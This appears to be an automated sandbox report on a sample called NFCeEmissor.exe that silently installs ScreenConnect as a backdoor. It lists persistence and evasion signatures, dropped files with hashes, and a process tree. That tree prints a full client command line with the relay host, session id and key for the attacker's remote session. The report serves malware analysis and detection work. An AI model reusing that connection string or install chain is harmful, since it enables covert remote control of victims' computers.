Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20251016-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2025, 12:47

General

  • Target
    NFCeEmissor.exe
  • Size 12.0MB
  • Sample251127-p1bclawpdx
  • SHA256 5be22549da694e3d6493ca85d0eeba5b0903ad6c98a3770427cd2947962b4bc2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 27 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 29 IoCs
  • Suspicious use of SendNotifyMessage 27 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\NFCeEmissor.exe
    "C:\Users\Admin\AppData\Local\Temp\NFCeEmissor.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.8.1.9447\1e1e0cdf908eddf1\ScreenConnect.ClientSetup.msi"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2864
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 395714F7740704069011F96230464CE0 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6008
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIACAB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240626968 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1380
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4204
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1B4B4B7586950413BB93891E1BA1743B
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5376
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding AD8F0A55FCE1E258302E5FD18FEB04A2 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:900
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4408
    • C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-jrildx-relay.screenconnect.com&p=443&s=32ec9287-8daf-41f7-858f-33aa5a870af8&k=BgIAAACkAABSU0ExAAgAAAEAAQBJ8w2%2b%2fCZDnkkT6rmdV6hIYhdQAxG%2f8FWhMLTfZnnOHPemyglGh2fBFOHI1LEf4DcisnAkXvRDNCWfjchQXMxOEZh9LwRjhYZP0xfNKDLVn79EUEL9Mkn%2bI8fBiO1pBfS28g3ZgxJy3CGPQJIUiIkN1Fxw%2bo23I5K95cKoiM96NlbTnf2P87gWoO9OB2rCri7U0DUXYBxXqsbdmSIm7jWfpzVEQDQR7If%2bCl%2fweNs2bljkU7xKFulTc8rJeOWqWtJxFpm9HEBJ0UZbXB1veGEerwoSuJNj9LXPFe3y7phh%2beH12Fko3ukFPTWy6LPwsdQg1y95wsQWBnNo4I9RE1Gv&c=Clientes%20game&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5176
      • C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe" "RunRole" "fc21318d-84d2-4cb6-8ed1-ae2663171ebc" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5952

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57e967.rbs

          • Path C:\Config.Msi\e57e967.rbs
          • Size 214KB
          • SHA256 073d4384b2ef08c2fd9e589c8c40bcc79a4b55514fd514381d334f683858f8cd
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.en-US.resources
          • Size 64KB
          • SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.resources
          • Size 2KB
          • SHA256 4514129a17cafb2891674dd75cf25dfc3e2ac08a08f7adebeba3519f2313ac5e
          • MD5 SHA1 SHA512

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Client.dll
          • Size 400KB
          • SHA256 50d7b8308782136bfdb33082f60c0c1904af7f54d4c7abe1326a19aca1d7d9c8
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 c620701ec9c3b4467136bc7874408ea7df0e089c1ae6e9a1d01a18677850d5bc
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 45f63f2abad5211bd4c12e77b7a2b1d704c534bb18a4638c1fab04abdcfb477d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Core.dll
          • Size 553KB
          • SHA256 cc2eb5415b72a5800c4275c4061aaea17dc43403f9404240afce5bd227cee190
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 91ad9b6a20b40f93b18e97d1d177b51656b9d08388f6d45949aaa45d2a13ec64
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe
          • Size 603KB
          • SHA256 4f176105e5ccb4325fbc62c1097bda7a2afe4d012ddd717d68e72ad3658641ee
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c4783917faaf4660cc52999393401327b6526b9ab47e58839693b798002e1aa1
          • MD5 SHA1 SHA512 SSDEEP

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\system.config
          • Size 960B
          • SHA256 06159fe3ef201175f211a48fce4ba636e654804366c0d4cdb277fc7fed01391c
          • MD5 SHA1 SHA512

          8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
          • Size 727B
          • SHA256 0742a0e1f1182f6072688e2828787f697a426bf88143558630b4a5bf1dfa0684
          • MD5 SHA1 SHA512

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 727B
          • SHA256 59f0512dd3f0d54ebbfbe743fdb9a2c354918ca1edb29cacbe30a2cd556e306f
          • MD5 SHA1 SHA512

          8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_AE4B983DE066DC93BB134616BF886138
          • Size 408B
          • SHA256 782245cea3b1fc77ab7ef977c1c1eb4aa832acf52f682604d5d2b796a3c3a1ec
          • MD5 SHA1 SHA512

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 412B
          • SHA256 561e11a58b246bfc25fd316687c3529fad3f728264c03af0ddc1efa62df679c1
          • MD5 SHA1 SHA512

          MSIACAB.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIACAB.tmp
          • Size 1.1MB
          • SHA256 87da17597be0c72da0709cd13c9564f9e8c64640dafffc6bd4a4d9b46fa96065
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIACAB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIACAB.tmp-\ScreenConnect.Core.dll
          • Size 543KB
          • SHA256 c49e5ccb0fd1149618ce7d8f6fc152c2f96162171487a1c7742b06f6096790b1
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIACAB.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 13189092807edd38da041b845bcb6db4100aaec67e2daba93f2675688653c73d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIACAB.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 97b16d92304c032fcb72da94b776f2daddbe5898157524b04414897cdd6ef60e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.8.1.9447\1e1e0cdf908eddf1\ScreenConnect.ClientSetup.msi
          • Size 9.6MB
          • SHA256 a514077d75b265e700b450fed0fc633ec1603ae12446b7ff6649ebe3524c6ff3
          • MD5 SHA1 SHA512 SSDEEP

          MSIEC16.tmp

          • Path C:\Windows\Installer\MSIEC16.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          2miq4iac.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\2miq4iac.newcfg
          • Size 589B
          • SHA256 0dc6b27bf26e6fec2859c9a599c62e749fd99439348561ca766ead5bd2347393
          • MD5 SHA1 SHA512

          a4y1or33.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\a4y1or33.newcfg
          • Size 589B
          • SHA256 85e9512e8bdf862e19d46a64837f73011e315378b0381db01cd9c912e1d143c7
          • MD5 SHA1 SHA512

          cyhsmrsn.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cyhsmrsn.newcfg
          • Size 589B
          • SHA256 e095fe9ab256473fc40dc299b7f92901c76b895aadd3adc85856b5e0b3259df2
          • MD5 SHA1 SHA512

          g2t3wjyl.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\g2t3wjyl.newcfg
          • Size 589B
          • SHA256 012f0b767354dd15be2c4d8beb18fc6acca0b23d71f31438d4fac66cd1b87941
          • MD5 SHA1 SHA512

          nkwlhuys.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\nkwlhuys.newcfg
          • Size 589B
          • SHA256 0f4cf641ec1545322baa3625b4a96e5d2faf5cde1e8eebbe0b8b834d8266008b
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
          • Size 589B
          • SHA256 5ebcbd3b5a38599d32002b9389709fb5d27e50279035f6e38b8758c4a9c4b2f9
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
          • Size 589B
          • SHA256 0cab059439cb2f430e871e158c6ebe606322253f90edebf293c38c2a122443ba
          • MD5 SHA1 SHA512

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
          • Size 589B
          • SHA256 04b3905fc937d4cbafa7c9de8e9a1da35dc13a8f3fba5413cb042816bad5b184
          • MD5 SHA1 SHA512

          vgmmenes.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vgmmenes.newcfg
          • Size 589B
          • SHA256 d205823c213727cc9931818091e3bd9ea33615ce496b0e3d2badcf3302e9e458
          • MD5 SHA1 SHA512

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 c63d9673598aab7edbad43f0344264592eadfa80dd178cf9575302a6b1dde33d
          • MD5 SHA1 SHA512 SSDEEP

          {f7a7b49f-3001-4e9f-a423-680e0a08502e}_OnDiskSnapshotProp

          • Path \??\Volume{55e447d8-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f7a7b49f-3001-4e9f-a423-680e0a08502e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 c44fe678b364c6363d5444ee54c0c00659f72611fbb59438f56ea59890b2245f
          • MD5 SHA1 SHA512 SSDEEP

          memory/1380-53-0x0000000005140000-0x00000000052EE000-memory.dmp

          memory/1380-41-0x0000000004DB0000-0x0000000004DDE000-memory.dmp

          memory/1380-45-0x0000000004DF0000-0x0000000004DFA000-memory.dmp

          memory/1380-49-0x0000000004F00000-0x0000000004F8E000-memory.dmp

          memory/4776-11-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/4776-6-0x0000000005C90000-0x0000000005E3E000-memory.dmp

          memory/4776-7-0x0000000006400000-0x00000000069A4000-memory.dmp

          memory/4776-5-0x0000000005C60000-0x0000000005C84000-memory.dmp

          memory/4776-4-0x0000000005BD0000-0x0000000005C5E000-memory.dmp

          memory/4776-3-0x0000000003550000-0x0000000003558000-memory.dmp

          memory/4776-2-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/4776-1-0x0000000001CE0000-0x0000000001CE8000-memory.dmp

          memory/4776-8-0x0000000005F50000-0x0000000005FE2000-memory.dmp

          memory/4776-9-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/4776-0-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/4776-10-0x0000000005C80000-0x0000000005C90000-memory.dmp

          memory/5176-109-0x00000000045D0000-0x000000000477E000-memory.dmp

          memory/5176-119-0x00000000049D0000-0x0000000004AA5000-memory.dmp

          memory/5176-99-0x0000000001CB0000-0x0000000001CC8000-memory.dmp

          memory/5176-105-0x0000000004390000-0x000000000441E000-memory.dmp

          memory/5176-111-0x00000000044B0000-0x0000000004500000-memory.dmp

          memory/5176-115-0x0000000004780000-0x00000000047E8000-memory.dmp

          memory/5176-117-0x0000000004500000-0x0000000004541000-memory.dmp

          memory/5952-143-0x000000001E220000-0x000000001E3A6000-memory.dmp

          memory/5952-140-0x0000000002810000-0x0000000002878000-memory.dmp

          memory/5952-139-0x0000000000660000-0x00000000006FA000-memory.dmp

          memory/5952-142-0x000000001CE30000-0x000000001CFDE000-memory.dmp

          memory/5952-141-0x000000001CBF0000-0x000000001CC7E000-memory.dmp

          memory/5952-144-0x0000000002750000-0x0000000002768000-memory.dmp

          memory/5952-145-0x0000000002790000-0x00000000027A8000-memory.dmp

          memory/5952-146-0x00000000027C0000-0x0000000002801000-memory.dmp